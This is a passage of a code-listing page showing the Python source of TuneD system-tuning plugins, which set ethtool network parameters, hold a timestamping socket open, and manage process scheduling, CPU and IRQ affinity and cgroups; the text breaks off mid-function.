self._parse_pause_parameters, \ "ring": self._parse_ring_parameters, \ "channels": self._parse_channels_parameters } parser = context2parser[context] d = parser(value) if context == "coalesce" and not self._check_parameters(context, d): return None return d def _set_device_parameters(self, instance, context, value, device, sim, dev_params = None): if value is None or len(value) == 0: return None d = self._parse_config_parameters(value, context) if d is None or not self._check_parameters(context, d): return {} # check if device supports parameters and filter out unsupported ones if dev_params: self._check_device_support(instance, context, d, device, dev_params) # replace the channel parameters based on the device support if context == "channels" and str(dev_params[next(iter(d))]) in ["n/a", "0"]: d = self._replace_channels_parameters(context, self._cmd.dict2list(d), dev_params) if not sim and len(d) != 0: log.debug("setting %s: %s" % (context, str(d))) context2opt = { "coalesce": "-C", "features": "-K", "pause": "-A", "ring": "-G", \ "channels": "-L"} opt = context2opt[context] # ignore ethtool return code 80, it means parameter is already set self._cmd.execute(["ethtool", opt, instance._get_curr_device(device)] + \ self._cmd.dict2list(d), no_errors = [80]) return d def _custom_parameters(self, context, start, value, device, verify, instance): storage_key = self._storage_key( command_name = context, device_name = device) if start: params_current = self._get_device_parameters(instance, context, device) if params_current is None or len(params_current) == 0: return False params_set = self._set_device_parameters(instance, context, value, device, verify, dev_params = params_current) # if none of parameters passed checks then the command completely # failed if params_set is None or len(params_set) == 0: return False relevant_params_current = [(param, value) for param, value in params_current.items() if param in params_set] relevant_params_current = dict(relevant_params_current) if verify: res = (self._cmd.dict2list(params_set) == self._cmd.dict2list(relevant_params_current)) self._log_verification_result(context, res, params_set, relevant_params_current, device = instance._get_curr_device(device)) return res # saved are only those parameters which passed checks self._storage.set(storage_key, " ".join( self._cmd.dict2list(relevant_params_current))) else: original_value = self._storage.get(storage_key) # in storage are only those parameters which were already tested # so skip check for supported parameters self._set_device_parameters(instance, context, original_value, device, False) return None @command_custom("features", per_device = True) def _features(self, start, value, device, verify, ignore_missing, instance): return self._custom_parameters("features", start, value, device, verify, instance) @command_custom("coalesce", per_device = True) def _coalesce(self, start, value, device, verify, ignore_missing, instance): return self._custom_parameters("coalesce", start, value, device, verify, instance) @command_custom("pause", per_device = True) def _pause(self, start, value, device, verify, ignore_missing, instance): return self._custom_parameters("pause", start, value, device, verify, instance) @command_custom("ring", per_device = True) def _ring(self, start, value, device, verify, ignore_missing, instance): return self._custom_parameters("ring", start, value, device, verify, instance) @command_custom("channels", per_device = True) def _channels(self, start, value, device, verify, ignore_missing, instance): return self._custom_parameters("channels", start, value, device, verify, instance)	26.38 KB	2025-08-24 21:48
📄 plugin_rtentsk.py from . import base from .decorators import * import tuned.logs from tuned.utils.commands import commands import glob import socket import time log = tuned.logs.get() class RTENTSKPlugin(base.Plugin): """ A plug-in for avoiding inter-processor interrupts caused by enabling or disabling static keys. The plug-in has no options; when included, TuneD will keep an open socket with timestamping enabled, thus keeping the static key enabled. """ def _instance_init(self, instance): instance._has_static_tuning = True instance._has_dynamic_tuning = False # SO_TIMESTAMP nor SOF_TIMESTAMPING_OPT_TX_SWHW is defined by # the socket class SO_TIMESTAMP = 29 # see include/uapi/asm-generic/socket.h #define SO_TIMESTAMP 0x4012 # parisc! SOF_TIMESTAMPING_OPT_TX_SWHW = (1<<14) # see include/uapi/linux/net_tstamp.h s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) s.setsockopt(socket.SOL_SOCKET, SO_TIMESTAMP, SOF_TIMESTAMPING_OPT_TX_SWHW) self.rtentsk_socket = s log.info("opened SOF_TIMESTAMPING_OPT_TX_SWHW socket") def _instance_cleanup(self, instance): s = self.rtentsk_socket s.close()	1.12 KB	2025-08-24 21:48
📄 plugin_scheduler.py # code for cores isolation was inspired by Tuna implementation # perf code was borrowed from kernel/tools/perf/python/twatch.py # thanks to Arnaldo Carvalho de Melo <acme@redhat.com> from . import base from .decorators import * import tuned.logs import re from subprocess import * import threading # perf is optional try: import perf except ImportError: # if perf is unavailable, it will be disabled later pass import select import tuned.consts as consts import procfs from tuned.utils.commands import commands import errno import os import collections import math # Check existence of scheduler API in os module try: os.SCHED_FIFO except AttributeError: import schedutils log = tuned.logs.get() class SchedulerParams(object): def __init__(self, cmd, cmdline = None, scheduler = None, priority = None, affinity = None, cgroup = None): self._cmd = cmd self.cmdline = cmdline self.scheduler = scheduler self.priority = priority self.affinity = affinity self.cgroup = cgroup @property def affinity(self): if self._affinity is None: return None else: return self._cmd.bitmask2cpulist(self._affinity) @affinity.setter def affinity(self, value): if value is None: self._affinity = None else: self._affinity = self._cmd.cpulist2bitmask(value) class IRQAffinities(object): def __init__(self): self.irqs = {} self.default = None # IRQs that don't support changing CPU affinity: self.unchangeable = [] class SchedulerUtils(object): """ Class encapsulating scheduler implementation in os module """ _dict_schedcfg2schedconst = { "f": "SCHED_FIFO", "b": "SCHED_BATCH", "r": "SCHED_RR", "o": "SCHED_OTHER", "i": "SCHED_IDLE", } def __init__(self): # {"f": os.SCHED_FIFO...} self._dict_schedcfg2num = dict((k, getattr(os, name)) for k, name in self._dict_schedcfg2schedconst.items()) # { os.SCHED_FIFO: "SCHED_FIFO"... } self._dict_num2schedconst = dict((getattr(os, name), name) for name in self._dict_schedcfg2schedconst.values()) def sched_cfg_to_num(self, str_scheduler): return self._dict_schedcfg2num.get(str_scheduler) # Reimplementation of schedstr from schedutils for logging purposes def sched_num_to_const(self, scheduler): return self._dict_num2schedconst.get(scheduler) def get_scheduler(self, pid): return os.sched_getscheduler(pid) def set_scheduler(self, pid, sched, prio): os.sched_setscheduler(pid, sched, os.sched_param(prio)) def get_affinity(self, pid): return os.sched_getaffinity(pid) def set_affinity(self, pid, affinity): os.sched_setaffinity(pid, affinity) def get_priority(self, pid): return os.sched_getparam(pid).sched_priority def get_priority_min(self, sched): return os.sched_get_priority_min(sched) def get_priority_max(self, sched): return os.sched_get_priority_max(sched) class SchedulerUtilsSchedutils(SchedulerUtils): """ Class encapsulating scheduler implementation in schedutils module """ def __init__(self): # { "f": schedutils.SCHED_FIFO... } self._dict_schedcfg2num = dict((k, getattr(schedutils, name)) for k, name in self._dict_schedcfg2schedconst.items()) # { schedutils.SCHED_FIFO: "SCHED_FIFO"... } self._dict_num2schedconst = dict((getattr(schedutils, name), name) for name in self._dict_schedcfg2schedconst.values()) def get_scheduler(self, pid): return schedutils.get_scheduler(pid) def set_scheduler(self, pid, sched, prio): schedutils.set_scheduler(pid, sched, prio) def get_affinity(self, pid): return schedutils.get_affinity(pid) def set_affinity(self, pid, affinity): schedutils.set_affinity(pid, affinity) def get_priority(self, pid): return schedutils.get_priority(pid) def get_priority_min(self, sched): return schedutils.get_priority_min(sched) def get_priority_max(self, sched): return schedutils.get_priority_max(sched) class SchedulerPlugin(base.Plugin): r""" Allows tuning of scheduling priorities, process/thread/IRQ affinities, and CPU isolation. To prevent processes/threads/IRQs from using certain CPUs, use the [option]`isolated_cores` option. It changes process/thread affinities, IRQs affinities and it sets `default_smp_affinity` for IRQs. The CPU affinity mask is adjusted for all processes and threads matching [option]`ps_whitelist` option subject to success of the `sched_setaffinity()` system call. The default setting of the [option]`ps_whitelist` regular expression is `.` to match all processes and thread names. To exclude certain processes and threads use [option]`ps_blacklist` option. The value of this option is also interpreted as a regular expression and process/thread names (`ps -eo cmd`) are matched against that expression. Profile rollback allows all matching processes and threads to run on all CPUs and restores the IRQ settings prior to the profile application. Multiple regular expressions for [option]`ps_whitelist` and [option]`ps_blacklist` options are allowed and separated by `;`. Quoted semicolon `\;` is taken literally. .Isolate CPUs 2-4 ==== ---- [scheduler] isolated_cores=2-4 ps_blacklist=.pmd.;.PMD.;^DPDK;.qemu-kvm.* ---- Isolate CPUs 2-4 while ignoring processes and threads matching `ps_blacklist` regular expressions. ==== The [option]`irq_process` option controls whether the scheduler plugin applies the `isolated_cores` parameter to IRQ affinities. The default value is `true`, which means that the scheduler plugin will move all possible IRQs away from the isolated cores. When `irq_process` is set to `false`, the plugin will not change any IRQ affinities. The [option]`default_irq_smp_affinity` option controls the values TuneD writes to `/proc/irq/default_smp_affinity`. The file specifies default affinity mask that applies to all non-active IRQs. Once an IRQ is allocated/activated its affinity bitmask will be set to the default mask. The following values are supported: * `calc` + The content of `/proc/irq/default_smp_affinity` will be calculated from the `isolated_cores` parameter. Non-isolated cores are calculated as an inversion of the `isolated_cores`. Then the intersection of the non-isolated cores and the previous content of `/proc/irq/default_smp_affinity` is written to `/proc/irq/default_smp_affinity`. If the intersection is an empty set, then just the non-isolated cores are written to `/proc/irq/default_smp_affinity`. This behavior is the default if the parameter `default_irq_smp_affinity` is omitted. * `ignore` + TuneD will not touch `/proc/irq/default_smp_affinity`. * an explicit cpulist + The cpulist (such as `1,3-4`) is unpacked and written directly to `/proc/irq/default_smp_affinity`. .An explicit CPU list to set the default IRQ smp affinity to CPUs 0 and 2 ==== ---- [scheduler] isolated_cores=1,3 default_irq_smp_affinity=0,2 ---- ==== To adjust scheduling policy, priority and affinity for a group of processes/threads, use the following syntax. [subs="quotes"] ---- group.__groupname__=__rule_prio__:__sched__:__prio__:__affinity__:__regex__ ---- Here, `__rule_prio__` defines internal TuneD priority of the rule. Rules are sorted based on priority. This is needed for inheritence to be able to reorder previously defined rules. Equal `__rule_prio__` rules should be processed in the order they were defined. However, this is Python interpreter dependant. To disable an inherited rule for `__groupname__` use: [subs="quotes"] ---- group.__groupname__= ---- `__sched__` must be one of: `f` for FIFO, `b` for batch, `r` for round robin, `o` for other, ``* do not change. `__affinity__` is CPU affinity in hexadecimal. Use `` for no change. `__prio__` scheduling priority (see `chrt -m`). `__regex__` is Python regular expression. It is matched against the output of: [subs="quotes"] ---- ps -eo cmd ---- Any given process name may match more than one group. In such a case, the priority and scheduling policy are taken from the last matching `__regex__`. .Setting scheduling policy and priorities to kernel threads and watchdog ==== ---- [scheduler] group.kthreads=0::1::\[.\]$ group.watchdog=0:f:99::\[watchdog.\] ---- ==== The scheduler plug-in uses perf event loop to catch newly created processes. By default it listens to `perf.RECORD_COMM` and `perf.RECORD_EXIT` events. By setting [option]`perf_process_fork` option to `true`, `perf.RECORD_FORK` events will be also listened to. In other words, child processes created by the `fork()` system call will be processed. Since child processes inherit CPU affinity from their parents, the scheduler plug-in usually does not need to explicitly process these events. As processing perf events can pose a significant CPU overhead, the [option]`perf_process_fork` option parameter is set to `false` by default. Due to this, child processes are not processed by the scheduler plug-in. The CPU overhead of the scheduler plugin can be mitigated by using the scheduler [option]`runtime` option and setting it to `0`. This will completely disable the dynamic scheduler functionality and the perf events will not be monitored and acted upon. The disadvantage ot this approach is the procees/thread tuning will be done only at profile application. .Disabling the scheduler dynamic functionality ==== ---- [scheduler] runtime=0 isolated_cores=1,3 ---- ==== NOTE: For perf events, memory mapped buffer is used. Under heavy load the buffer may overflow. In such cases the `scheduler` plug-in may start missing events and failing to process some newly created processes. Increasing the buffer size may help. The buffer size can be set with the [option]`perf_mmap_pages` option. The value of this parameter has to expressed in powers of 2. If it is not the power of 2, the nearest higher power of 2 value is calculated from it and this calculated value used. If the [option]`perf_mmap_pages` option is omitted, the default kernel value is used. The scheduler plug-in supports process/thread confinement using cgroups v1. [option]`cgroup_mount_point` option specifies the path to mount the cgroup filesystem or where TuneD expects it to be mounted. If unset, `/sys/fs/cgroup/cpuset` is expected. If [option]`cgroup_groups_init` option is set to `1` TuneD will create (and remove) all cgroups defined with the `cgroup` options. This is the default behavior. If it is set to `0` the cgroups need to be preset by other means. If [option]`cgroup_mount_point_init` option is set to `1`, TuneD* will create (and remove) the cgroup mountpoint. It implies `cgroup_groups_init = 1`. If set to `0` the cgroups mount point needs to be preset by other means. This is the default behavior. The [option]`cgroup_for_isolated_cores` option is the cgroup name used for the [option]`isolated_cores` option functionality. For example, if a system has 4 CPUs, `isolated_cores=1` means that all processes/threads will be moved to CPUs 0,2-3. The scheduler plug-in will isolate the specified core by writing the calculated CPU affinity to the `cpuset.cpus` control file of the specified cgroup and move all the matching processes/threads to this group. If this option is unset, classic cpuset affinity using `sched_setaffinity()` will be used. [option]`cgroup.__cgroup_name__` option defines affinities for arbitrary cgroups. Even hierarchic cgroups can be used, but the hieararchy needs to be specified in the correct order. Also TuneD does not do any sanity checks here, with the exception that it forces the cgroup to be under [option]`cgroup_mount_point`. The syntax of the scheduler option starting with `group.` has been augmented to use `cgroup.__cgroup_name__` instead of the hexadecimal `__affinity__`. The matching processes will be moved to the cgroup `__cgroup_name__`. It is also possible to use cgroups which have not been defined by the [option]`cgroup.` option as described above, i.e. cgroups not managed by TuneD. All cgroup names are sanitized by replacing all all dots (`.`) with slashes (`/`). This is to prevent the plug-in from writing outside [option]`cgroup_mount_point`. .Using cgroups v1 with the scheduler plug-in ==== ---- [scheduler] cgroup_mount_point=/sys/fs/cgroup/cpuset cgroup_mount_point_init=1 cgroup_groups_init=1 cgroup_for_isolated_cores=group cgroup.group1=2 cgroup.group2=0,2 group.ksoftirqd=0:f:2:cgroup.group1:ksoftirqd.* ps_blacklist=ksoftirqd.;rcuc.;rcub.;ktimersoftd. isolated_cores=1 ---- Cgroup `group1` has the affinity set to CPU 2 and the cgroup `group2` to CPUs 0,2. Given a 4 CPU setup, the [option]`isolated_cores=1` option causes all processes/threads to be moved to CPU cores 0,2-3. Processes/threads that are blacklisted by the [option]`ps_blacklist` regular expression will not be moved. The scheduler plug-in will isolate the specified core by writing the CPU affinity 0,2-3 to the `cpuset.cpus` control file of the `group` and move all the matching processes/threads to this cgroup. ==== Option [option]`cgroup_ps_blacklist` allows excluding processes which belong to the blacklisted cgroups. The regular expression specified by this option is matched against cgroup hierarchies from `/proc/PID/cgroups`. Cgroups v1 hierarchies from `/proc/PID/cgroups` are separated by commas ',' prior to regular expression matching. The following is an example of content against which the regular expression is matched against: `10:hugetlb:/,9:perf_event:/,8:blkio:/` Multiple regular expressions can be separated by semicolon ';'. The semicolon represents a logical 'or' operator. .Cgroup-based exclusion of processes from the scheduler ==== ---- [scheduler] isolated_cores=1 cgroup_ps_blacklist=:/daemons\b ---- The scheduler plug-in will move all processes away from core 1 except processes which belong to cgroup '/daemons'. The '\b' is a regular expression metacharacter that matches a word boundary. ---- [scheduler] isolated_cores=1 cgroup_ps_blacklist=\b8:blkio: ---- The scheduler plug-in will exclude all processes which belong to a cgroup with hierarchy-ID 8 and controller-list blkio. ==== Kernels 5.13 and newer moved some `sched_` and `numa_balancing_` kernel run-time parameters from `/proc/sys/kernel`, managed by the `sysctl` utility, to `debugfs`, typically mounted under `/sys/kernel/debug`. TuneD provides an abstraction mechanism for the following parameters via the scheduler plug-in: [option]`sched_min_granularity_ns`, [option]`sched_latency_ns`, [option]`sched_wakeup_granularity_ns`, [option]`sched_tunable_scaling`, [option]`sched_migration_cost_ns`, [option]`sched_nr_migrate`, [option]`numa_balancing_scan_delay_ms`, [option]`numa_balancing_scan_period_min_ms`, [option]`numa_balancing_scan_period_max_ms` and [option]`numa_balancing_scan_size_mb`. Moreover in kernel 6.6 and newer support for the `sched_wakeup_granularity_ns` and `sched_latency_ns` were removed. The `sched_min_granularity_ns` was renamed to `sched_base_slice_ns`. Based on the kernel used, TuneD will write the specified value to the correct location or ignore it. For the compatibility the alias [option]`sched_base_slice_ns` was added, but the [option]`sched_min_granularity_ns` can be still used instead. .Set tasks' "cache hot" value for migration decisions. ==== ---- [scheduler] sched_migration_cost_ns=500000 ---- On the old kernels, this is equivalent to: ---- [sysctl] kernel.sched_migration_cost_ns=500000 ---- that is, value `500000` will be written to `/proc/sys/kernel/sched_migration_cost_ns`. However, on more recent kernels, the value `500000` will be written to `/sys/kernel/debug/sched/migration_cost_ns`. ==== """ _dict_sched_knob_map = { "wakeup_granularity_ns": "", "min_granularity_ns": "base_slice_ns", "latency_ns": "", } def _disable_perf(self): log.warning("python-perf unavailable, disabling perf support and " \ "runtime tuning, you can try to (re)install python(3)-perf package") self._perf_available = False def __init__(self, monitor_repository, storage_factory, hardware_inventory, device_matcher, device_matcher_udev, plugin_instance_factory, global_cfg, variables): super(SchedulerPlugin, self).__init__(monitor_repository, storage_factory, hardware_inventory, device_matcher, device_matcher_udev, plugin_instance_factory, global_cfg, variables) self._has_dynamic_options = True self._daemon = consts.CFG_DEF_DAEMON self._sleep_interval = int(consts.CFG_DEF_SLEEP_INTERVAL) if global_cfg is not None: self._daemon = global_cfg.get_bool(consts.CFG_DAEMON, consts.CFG_DEF_DAEMON) self._sleep_interval = int(global_cfg.get(consts.CFG_SLEEP_INTERVAL, consts.CFG_DEF_SLEEP_INTERVAL)) self._cmd = commands() # helper variable utilized for showing hint only once that the error may be caused by Secure Boot self._secure_boot_hint = None # paths cache for sched_ and numa_ tunings self._sched_knob_paths_cache = {} # default is to whitelist all and blacklist none self._ps_whitelist = "." self._ps_blacklist = "" self._kthread_process = True self._cgroup_ps_blacklist_re = "" self._perf_available = True try: self._cpus = perf.cpu_map() except (NameError, AttributeError): self._disable_perf() # it's different type than perf.cpu_map(), but without perf we use it as iterable # which should be compatible self._cpus = self._cmd.get_cpus() self._scheduler_storage_key = self._storage_key( command_name = "scheduler") self._irq_process = True self._irq_storage_key = self._storage_key( command_name = "irq") self._evlist = None try: self._scheduler_utils = SchedulerUtils() except AttributeError: self._scheduler_utils = SchedulerUtilsSchedutils() def _calc_mmap_pages(self, mmap_pages): if mmap_pages is None: return None try: mp = int(mmap_pages) except ValueError: return 0 if mp <= 0: return 0 # round up to the nearest power of two value return int(2 * math.ceil(math.log(mp, 2))) def _instance_init(self, instance): instance._evlist = None instance._has_dynamic_tuning = False instance._has_static_tuning = True # this is hack, runtime_tuning should be covered by dynamic_tuning configuration # TODO: add per plugin dynamic tuning configuration and use dynamic_tuning configuration # instead of runtime_tuning instance._runtime_tuning = True # FIXME: do we want to do this here? # recover original values in case of crash self._scheduler_original = self._storage.get( self._scheduler_storage_key, {}) if len(self._scheduler_original) > 0: log.info("recovering scheduling settings from previous run") self._restore_ps_affinity() self._scheduler_original = {} self._storage.unset(self._scheduler_storage_key) self._cgroups_original_affinity = dict() # calculated by isolated_cores setter self._affinity = None self._cgroup_affinity_initialized = False self._cgroup = None self._cgroups = collections.OrderedDict([(self._sanitize_cgroup_path(option[7:]), self._variables.expand(affinity)) for option, affinity in instance.options.items() if option[:7] == "cgroup." and len(option) > 7]) instance._scheduler = instance.options perf_mmap_pages_raw = self._variables.expand(instance.options["perf_mmap_pages"]) perf_mmap_pages = self._calc_mmap_pages(perf_mmap_pages_raw) if perf_mmap_pages == 0: log.error("Invalid 'perf_mmap_pages' value specified: '%s', using default kernel value" % perf_mmap_pages_raw) perf_mmap_pages = None if perf_mmap_pages is not None and str(perf_mmap_pages) != perf_mmap_pages_raw: log.info("'perf_mmap_pages' value has to be power of two, specified: '%s', using: '%d'" % (perf_mmap_pages_raw, perf_mmap_pages)) for k in instance._scheduler: instance._scheduler[k] = self._variables.expand(instance._scheduler[k]) if self._cmd.get_bool(instance._scheduler.get("runtime", 1)) == "0": instance._runtime_tuning = False instance._terminate = threading.Event() if self._daemon and instance._runtime_tuning and self._perf_available: try: instance._threads = perf.thread_map() evsel = perf.evsel(type = perf.TYPE_SOFTWARE, config = perf.COUNT_SW_DUMMY, task = 1, comm = 1, mmap = 0, freq = 0, wakeup_events = 1, watermark = 1, sample_type = perf.SAMPLE_TID \| perf.SAMPLE_CPU) evsel.open(cpus = self._cpus, threads = instance._threads) instance._evlist = perf.evlist(self._cpus, instance._threads) instance._evlist.add(evsel) if perf_mmap_pages is None: instance._evlist.mmap() else: instance._evlist.mmap(pages = perf_mmap_pages) # no perf except: self._disable_perf() if not self._perf_available: instance._runtime_tuning = False def _instance_cleanup(self, instance): if instance._evlist: for fd in instance._evlist.get_pollfd(): os.close(fd.name) @classmethod def _get_config_options(cls): return { "isolated_cores": None, "cgroup_mount_point": consts.DEF_CGROUP_MOUNT_POINT, "cgroup_mount_point_init": False, "cgroup_groups_init": True, "cgroup_for_isolated_cores": None, "cgroup_ps_blacklist": None, "ps_whitelist": None, "ps_blacklist": None, "kthread_process": True, "irq_process": True, "default_irq_smp_affinity": "calc", "perf_mmap_pages": None, "perf_process_fork": "false", "sched_min_granularity_ns": None, "sched_base_slice_ns": None, "sched_latency_ns": None, "sched_wakeup_granularity_ns": None, "sched_tunable_scaling": None, "sched_migration_cost_ns": None, "sched_nr_migrate": None, "numa_balancing_scan_delay_ms": None, "numa_balancing_scan_period_min_ms": None, "numa_balancing_scan_period_max_ms": None, "numa_balancing_scan_size_mb": None } def _sanitize_cgroup_path(self, value): return str(value).replace(".", "/") if value is not None else None # Raises OSError, IOError def _get_cmdline(self, process): if not isinstance(process, procfs.process): pid = process process = procfs.process(pid) cmdline = procfs.process_cmdline(process) if self._is_kthread(process): cmdline = "[" + cmdline + "]" return cmdline # Raises OSError, IOError def get_processes(self): ps = procfs.pidstats() ps.reload_threads() processes = {} for proc in ps.values(): try: if not self._kthread_process and self._is_kthread(proc): continue cmd = self._get_cmdline(proc) pid = proc["pid"] processes[pid] = cmd if "threads" in proc: for pid in proc["threads"].keys(): cmd = self._get_cmdline(proc) processes[pid] = cmd except (OSError, IOError) as e: if e.errno == errno.ENOENT \ or e.errno == errno.ESRCH: continue else: raise return processes # Raises OSError # Raises SystemError with old (pre-0.4) python-schedutils # instead of OSError # If PID doesn't exist, errno == ESRCH def _get_rt(self, pid): scheduler = self._scheduler_utils.get_scheduler(pid) sched_str = self._scheduler_utils.sched_num_to_const(scheduler) priority = self._scheduler_utils.get_priority(pid) log.debug("Read scheduler policy '%s' and priority '%d' of PID '%d'" % (sched_str, priority, pid)) return (scheduler, priority) def _set_rt(self, pid, sched, prio): sched_str = self._scheduler_utils.sched_num_to_const(sched) log.debug("Setting scheduler policy to '%s' and priority to '%d' of PID '%d'." % (sched_str, prio, pid)) try: prio_min = self._scheduler_utils.get_priority_min(sched) prio_max = self._scheduler_utils.get_priority_max(sched) if prio < prio_min or prio > prio_max: log.error("Priority for %s must be in range %d - %d. '%d' was given." % (sched_str, prio_min, prio_max, prio)) # Workaround for old (pre-0.4) python-schedutils which raised # SystemError instead of OSError except (SystemError, OSError) as e: log.error("Failed to get allowed priority range: %s" % e) try: self._scheduler_utils.set_scheduler(pid, sched, prio) except (SystemError, OSError) as e: if hasattr(e, "errno") and e.errno == errno.ESRCH: log.debug("Failed to set scheduling parameters of PID %d, the task vanished." % pid) else: log.error("Failed to set scheduling parameters of PID %d: %s" % (pid, e)) # process is a procfs.process object # Raises OSError, IOError def _is_kthread(self, process): return process["stat"]["flags"] & procfs.pidstat.PF_KTHREAD != 0 def _process_in_blacklisted_cgroup(self, process): if self._cgroup_ps_blacklist_re == "": return False return re.search(self._cgroup_ps_blacklist_re, self._get_stat_cgroup(process)) is not None # Returns True if we can ignore a failed affinity change of # a process with the given PID and therefore not report it as an error. def _ignore_set_affinity_error(self, process): pid = process.pid try: if process["stat"]["state"] == "Z": log.debug("Affinity of zombie task with PID %d could not be changed." % pid) return True if self._process_in_blacklisted_cgroup(process): log.debug("Affinity of task with PID %d could not be changed, the task was moved into a blacklisted cgroup." % pid) return True if process["stat"].is_bound_to_cpu(): if self._is_kthread(process): log.debug("Affinity of kernel thread with PID %d cannot be changed, the task's affinity mask is fixed." % pid) else: log.warning("Affinity of task with PID %d cannot be changed, the task's affinity mask is fixed." % pid) return True log.info("Task %d cmdline: %s" % (pid, self._get_cmdline(process))) log.info("Task %d cgroup: %s" % (pid, self._get_stat_cgroup(process))) log.info("Task %d affinity: %s" % (pid, list(self._scheduler_utils.get_affinity(pid)))) except (OSError, IOError) as e: if e.errno == errno.ENOENT or e.errno == errno.ESRCH: log.debug("Failed to get task info for PID %d, the task vanished." % pid) return True log.error("Failed to get task info for PID %d: %s" % (pid, e)) except (AttributeError, KeyError) as e: log.error("Failed to get task info for PID %d: %s" % (pid, e)) return False def _store_orig_process_rt(self, pid, scheduler, priority): try: params = self._scheduler_original[pid] except KeyError: params = SchedulerParams(self._cmd) self._scheduler_original[pid] = params if params.scheduler is None and params.priority is None: params.scheduler = scheduler params.priority = priority def _tune_process_rt(self, pid, sched, prio): cont = True if sched is None and prio is None: return cont try: (prev_sched, prev_prio) = self._get_rt(pid) if sched is None: sched = prev_sched self._set_rt(pid, sched, prio) self._store_orig_process_rt(pid, prev_sched, prev_prio) except (SystemError, OSError) as e: if hasattr(e, "errno") and e.errno == errno.ESRCH: log.debug("Failed to read scheduler policy of PID %d, the task vanished." % pid) if pid in self._scheduler_original: del self._scheduler_original[pid] cont = False else: log.error("Refusing to set scheduler and priority of PID %d, reading original scheduling parameters failed: %s" % (pid, e)) return cont def _is_cgroup_affinity(self, affinity): return str(affinity)[:7] == "cgroup." def _store_orig_process_affinity(self, pid, affinity, is_cgroup = False): try: params = self._scheduler_original[pid] except KeyError: params = SchedulerParams(self._cmd) self._scheduler_original[pid] = params if params.affinity is None and params.cgroup is None: if is_cgroup: params.cgroup = affinity else: params.affinity = affinity def _get_cgroup_affinity(self, pid): # we cannot use procfs, because it uses comma ',' delimiter which # can be ambiguous for l in self._cmd.read_file("%s/%s/%s" % (consts.PROCFS_MOUNT_POINT, str(pid), "cgroup"), no_error = True).split("\n"): try: cgroup = l.split(":cpuset:")[1][1:] return cgroup if cgroup != "" else "/" except IndexError: pass return "/" # it can be arbitrary cgroup even cgroup we didn't set, but it needs to be # under "cgroup_mount_point" def _set_cgroup(self, pid, cgroup): cgroup = self._sanitize_cgroup_path(cgroup) path = self._cgroup_mount_point if cgroup != "/": path = "%s/%s" % (path, cgroup) self._cmd.write_to_file("%s/tasks" % path, str(pid), no_error = True) def _parse_cgroup_affinity(self, cgroup): # "cgroup.CGROUP" cgroup = cgroup[7:] # this should be faster than string comparison is_cgroup = not isinstance(cgroup, list) and len(cgroup) > 0 return is_cgroup, cgroup def _tune_process_affinity(self, pid, affinity, intersect = False): cont = True if affinity is None: return cont try: (is_cgroup, cgroup) = self._parse_cgroup_affinity(affinity) if is_cgroup: prev_affinity = self._get_cgroup_affinity(pid) self._set_cgroup(pid, cgroup) else: prev_affinity = self._get_affinity(pid) if intersect: affinity = self._get_intersect_affinity( prev_affinity, affinity, affinity) self._set_affinity(pid, affinity) self._store_orig_process_affinity(pid, prev_affinity, is_cgroup) except (SystemError, OSError) as e: if hasattr(e, "errno") and e.errno == errno.ESRCH: log.debug("Failed to read affinity of PID %d, the task vanished." % pid) if pid in self._scheduler_original: del self._scheduler_original[pid] cont = False else: log.error("Refusing to set CPU affinity of PID %d, reading original affinity failed: %s" % (pid, e)) return cont #tune process and store previous values def _tune_process(self, pid, cmd, sched, prio, affinity): cont = self._tune_process_rt(pid, sched, prio) if not cont: return cont = self._tune_process_affinity(pid, affinity) if not cont or pid not in self._scheduler_original: return self._scheduler_original[pid].cmdline = cmd def _convert_sched_params(self, str_scheduler, str_priority): scheduler = self._scheduler_utils.sched_cfg_to_num(str_scheduler) if scheduler is None and str_scheduler != "": log.error("Invalid scheduler: %s. Scheduler and priority will be ignored." % str_scheduler) return (None, None) else: try: priority = int(str_priority) except ValueError: log.error("Invalid priority: %s. Scheduler and priority will be ignored." % str_priority) return (None, None) return (scheduler, priority) def _convert_affinity(self, str_affinity): if str_affinity == "": affinity = None elif self._is_cgroup_affinity(str_affinity): affinity = str_affinity else: affinity = self._cmd.hex2cpulist(str_affinity) if not affinity: log.error("Invalid affinity: %s. It will be ignored." % str_affinity) affinity = None return affinity def _convert_sched_cfg(self, vals): (rule_prio, scheduler, priority, affinity, regex) = vals (scheduler, priority) = self._convert_sched_params( scheduler, priority) affinity = self._convert_affinity(affinity) return (rule_prio, scheduler, priority, affinity, regex) def _cgroup_create_group(self, cgroup): path = "%s/%s" % (self._cgroup_mount_point, cgroup) try: os.mkdir(path, consts.DEF_CGROUP_MODE) except OSError as e: log.error("Unable to create cgroup '%s': %s" % (path, e)) if (not self._cmd.write_to_file("%s/%s" % (path, "cpuset.mems"), self._cmd.read_file("%s/%s" % (self._cgroup_mount_point, "cpuset.mems"), no_error = True), no_error = True)): log.error("Unable to initialize 'cpuset.mems ' for cgroup '%s'" % path) def _cgroup_initialize_groups(self): if self._cgroup is not None and not self._cgroup in self._cgroups: self._cgroup_create_group(self._cgroup) for cg in self._cgroups: self._cgroup_create_group(cg) def _cgroup_initialize(self): log.debug("Initializing cgroups settings") try: os.makedirs(self._cgroup_mount_point, consts.DEF_CGROUP_MODE) except OSError as e: log.error("Unable to create cgroup mount point: %s" % e) (ret, out) = self._cmd.execute(["mount", "-t", "cgroup", "-o", "cpuset", "cpuset", self._cgroup_mount_point]) if ret != 0: log.error("Unable to mount '%s'" % self._cgroup_mount_point) def _remove_dir(self, cgroup): try: os.rmdir(cgroup) except OSError as e: log.error("Unable to remove directory '%s': %s" % (cgroup, e)) def _cgroup_finalize_groups(self): for cg in reversed(self._cgroups): self._remove_dir("%s/%s" % (self._cgroup_mount_point, cg)) if self._cgroup is not None and not self._cgroup in self._cgroups: self._remove_dir("%s/%s" % (self._cgroup_mount_point, self._cgroup)) def _cgroup_finalize(self): log.debug("Removing cgroups settings") (ret, out) = self._cmd.execute(["umount", self._cgroup_mount_point]) if ret != 0: log.error("Unable to umount '%s'" % self._cgroup_mount_point) return False self._remove_dir(self._cgroup_mount_point) d = os.path.dirname(self._cgroup_mount_point) if (d != "/"): self._remove_dir(d) def _cgroup_set_affinity_one(self, cgroup, affinity, backup = False): if affinity != "": log.debug("Setting cgroup '%s' affinity to '%s'" % (cgroup, affinity)) else: log.debug("Skipping cgroup '%s', empty affinity requested" % cgroup) return path = "%s/%s/%s" % (self._cgroup_mount_point, cgroup, "cpuset.cpus") if backup: orig_affinity = self._cmd.read_file(path, err_ret = "ERR", no_error = True).strip() if orig_affinity != "ERR": self._cgroups_original_affinity[cgroup] = orig_affinity else: log.error("Refusing to set affinity of cgroup '%s', reading original affinity failed" % cgroup) return if not 